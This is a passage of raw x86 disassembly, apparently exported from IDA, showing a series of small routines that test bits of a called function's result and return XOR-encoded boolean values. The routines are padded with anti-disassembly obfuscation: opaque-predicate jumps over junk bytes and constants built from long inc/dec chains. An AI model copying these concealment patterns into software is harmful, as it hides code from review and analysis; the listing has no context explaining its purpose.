		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A14C5:				; CODE XREF: sub_4A135E+15Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A135E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A14D9	proc near		; DATA XREF: sub_4965D8+14FFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Dh
		pop	ebx
		jo	short loc_4A150C
		jl	short loc_4A150A


loc_4A1505:				; CODE XREF: sub_4A14D9:loc_4A150Aj
					; sub_4A14D9:loc_4A150Cj
		jmp	short loc_4A150E
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A150A:				; CODE XREF: sub_4A14D9+2Aj
		jz	short loc_4A1505


loc_4A150C:				; CODE XREF: sub_4A14D9+28j
		jmp	short loc_4A1505
; ---------------------------------------------------------------------------


loc_4A150E:				; CODE XREF: sub_4A14D9:loc_4A1505j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 17h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1562
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1562:				; CODE XREF: sub_4A14D9+7Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A14D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1576	proc near		; DATA XREF: sub_4965D8+15F8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 200h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A165E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A165E:				; CODE XREF: sub_4A1576+DDj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1672	proc near		; DATA XREF: sub_4965D8+1C8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	21h
		pop	ebx
		jo	short loc_4A16A5
		jl	short loc_4A16A3


loc_4A169E:				; CODE XREF: sub_4A1672:loc_4A16A3j
					; sub_4A1672:loc_4A16A5j
		jmp	short loc_4A16A7
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A16A3:				; CODE XREF: sub_4A1672+2Aj
		jz	short loc_4A169E


loc_4A16A5:				; CODE XREF: sub_4A1672+28j
		jmp	short loc_4A169E
; ---------------------------------------------------------------------------


loc_4A16A7:				; CODE XREF: sub_4A1672:loc_4A169Ej
		sub	bl, 5
		dec	bl
		sub	bl, 2
		push	eax
		dec	bl
		dec	bl
		jo	short loc_4A16BF
		jl	short loc_4A16BD


loc_4A16B8:				; CODE XREF: sub_4A1672:loc_4A16BDj
					; sub_4A1672:loc_4A16BFj
		jmp	short loc_4A16C1
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A16BD:				; CODE XREF: sub_4A1672+44j
		jz	short loc_4A16B8


loc_4A16BF:				; CODE XREF: sub_4A1672+42j
		jmp	short loc_4A16B8
; ---------------------------------------------------------------------------


loc_4A16C1:				; CODE XREF: sub_4A1672:loc_4A16B8j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1100h
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A16F3
		jl	short loc_4A16F1


loc_4A16EC:				; CODE XREF: sub_4A1672:loc_4A16F1j
					; sub_4A1672:loc_4A16F3j
		jmp	short loc_4A16F5
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A16F1:				; CODE XREF: sub_4A1672+78j
		jz	short loc_4A16EC


loc_4A16F3:				; CODE XREF: sub_4A1672+76j
		jmp	short loc_4A16EC
; ---------------------------------------------------------------------------


loc_4A16F5:				; CODE XREF: sub_4A1672:loc_4A16ECj
		inc	eax
		dec	eax
		jo	short loc_4A1702
		jl	short loc_4A1700


loc_4A16FB:				; CODE XREF: sub_4A1672:loc_4A1700j
					; sub_4A1672:loc_4A1702j
		jmp	short loc_4A1704
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A1700:				; CODE XREF: sub_4A1672+87j
		jz	short loc_4A16FB


loc_4A1702:				; CODE XREF: sub_4A1672+85j
		jmp	short loc_4A16FB
; ---------------------------------------------------------------------------


loc_4A1704:				; CODE XREF: sub_4A1672:loc_4A16FBj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A1711
		jl	short loc_4A170F


loc_4A170C:				; CODE XREF: sub_4A1672:loc_4A170Fj
					; sub_4A1672:loc_4A1711j
		jmp	short loc_4A1713
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A170F:				; CODE XREF: sub_4A1672+98j
		jz	short loc_4A170C


loc_4A1711:				; CODE XREF: sub_4A1672+96j
		jmp	short loc_4A170C
; ---------------------------------------------------------------------------


loc_4A1713:				; CODE XREF: sub_4A1672:loc_4A170Cj
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1737
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1737:				; CODE XREF: sub_4A1672+BAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A174B	proc near		; DATA XREF: sub_4965D8+AFDo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Bh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	cl, 2
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A17DE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A17DE:				; CODE XREF: sub_4A174B+88j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A174B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A17F2	proc near		; DATA XREF: sub_4965D8+DBCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 7
		dec	dh
		sub	dh, 2
		and	dh, 0
		and	ah, dh
		mov	dl, 4
		dec	dl
		sub	dl, 2
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		inc	dl
		dec	dl
		dec	dl
		sub	dl, 0FFh
		dec	dl
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1861
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1861:				; CODE XREF: sub_4A17F2+64j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A17F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1875	proc near		; DATA XREF: sub_4965D8+E00o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 0Eh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 85h
		sub	bl, 7
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1911
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1911:				; CODE XREF: sub_4A1875+91j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1925	proc near		; DATA XREF: sub_4965D8+9C0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A19BB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A19BB:				; CODE XREF: sub_4A1925+8Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A19CF	proc near		; DATA XREF: sub_4965D8+BB3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		and	eax, 0
		inc	eax
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		mov	eax, eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1A5E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1A5E:				; CODE XREF: sub_4A19CF+84j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A19CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1A72	proc near		; DATA XREF: sub_4965D8+BE0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AFh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 1400h
		inc	dh
		dec	dh
		inc	dh
		sub	dh, 10h
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_4A1B37
		jl	short loc_4A1B35


loc_4A1B32:				; CODE XREF: sub_4A1A72:loc_4A1B35j
					; sub_4A1A72:loc_4A1B37j
		jmp	short loc_4A1B39
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A1B35:				; CODE XREF: sub_4A1A72+BEj
		jz	short loc_4A1B32


loc_4A1B37:				; CODE XREF: sub_4A1A72+BCj
		jmp	short loc_4A1B32
; ---------------------------------------------------------------------------


loc_4A1B39:				; CODE XREF: sub_4A1A72:loc_4A1B32j
		cmp	eax, edx
		jz	short loc_4A1B50
		jo	short loc_4A1B48
		jl	short loc_4A1B46


loc_4A1B41:				; CODE XREF: sub_4A1A72:loc_4A1B46j
					; sub_4A1A72:loc_4A1B48j
		jmp	short loc_4A1B4A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A1B46:				; CODE XREF: sub_4A1A72+CDj
		jz	short loc_4A1B41


loc_4A1B48:				; CODE XREF: sub_4A1A72+CBj
		jmp	short loc_4A1B41
; ---------------------------------------------------------------------------


loc_4A1B4A:				; CODE XREF: sub_4A1A72:loc_4A1B41j
		and	eax, 0
		inc	eax
		jmp	short loc_4A1B53
; ---------------------------------------------------------------------------


loc_4A1B50:				; CODE XREF: sub_4A1A72+C9j
		and	eax, 0


loc_4A1B53:				; CODE XREF: sub_4A1A72+DCj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED41C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1B76
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1B76:				; CODE XREF: sub_4A1A72+F9j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1A72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1B8A	proc near		; DATA XREF: sub_4965D8+E17o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 0Ah
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 200h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1C73
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1C73:				; CODE XREF: sub_4A1B8A+DEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1B8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1C87	proc near		; DATA XREF: sub_4965D8+47o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_4A1CB0
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_4A1CB0:				; CODE XREF: sub_4A1C87+22j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1D24
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1D24:				; CODE XREF: sub_4A1C87+92j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1C87	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1D38	proc near		; DATA XREF: sub_4965D8+1229o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Ah
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		add	bl, 0FFh
		add	bl, 0FFh
		dec	bl
		sub	bl, 1
		add	bl, 0FFh
		add	bl, 0FFh
		add	bl, 0FFh
		and	al, bl
		mov	dh, 15h
		and	dl, 0
		dec	dh
		sub	dh, 6
		dec	dh
		dec	dh
		dec	dh
		sub	dh, 1
		dec	dh
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_4A1DA3
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A1DA9
; ---------------------------------------------------------------------------


loc_4A1DA3:				; CODE XREF: sub_4A1D38+61j
		not	eax
		add	eax, 1
		clc


loc_4A1DA9:				; CODE XREF: sub_4A1D38+69j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1DD0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1DD0:				; CODE XREF: sub_4A1D38+8Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A1D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A1DE4	proc near		; DATA XREF: sub_4965D8+15B4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DCC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 6
		dec	ch
		dec	ch
		dec	ch
		jo	short loc_4A1E2C
		jl	short loc_4A1E2A


loc_4A1E27:				; CODE XREF: sub_4A1DE4:loc_4A1E2Aj
					; sub_4A1DE4:loc_4A1E2Cj
		jmp	short loc_4A1E2E
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A1E2A:				; CODE XREF: sub_4A1DE4+41j
		jz	short loc_4A1E27


loc_4A1E2C:				; CODE XREF: sub_4A1DE4+3Fj
		jmp	short loc_4A1E27
; ---------------------------------------------------------------------------


loc_4A1E2E:				; CODE XREF: sub_4A1DE4:loc_4A1E27j
		and	ah, ch
		mov	cl, 87h
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 2
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_4A1F2F
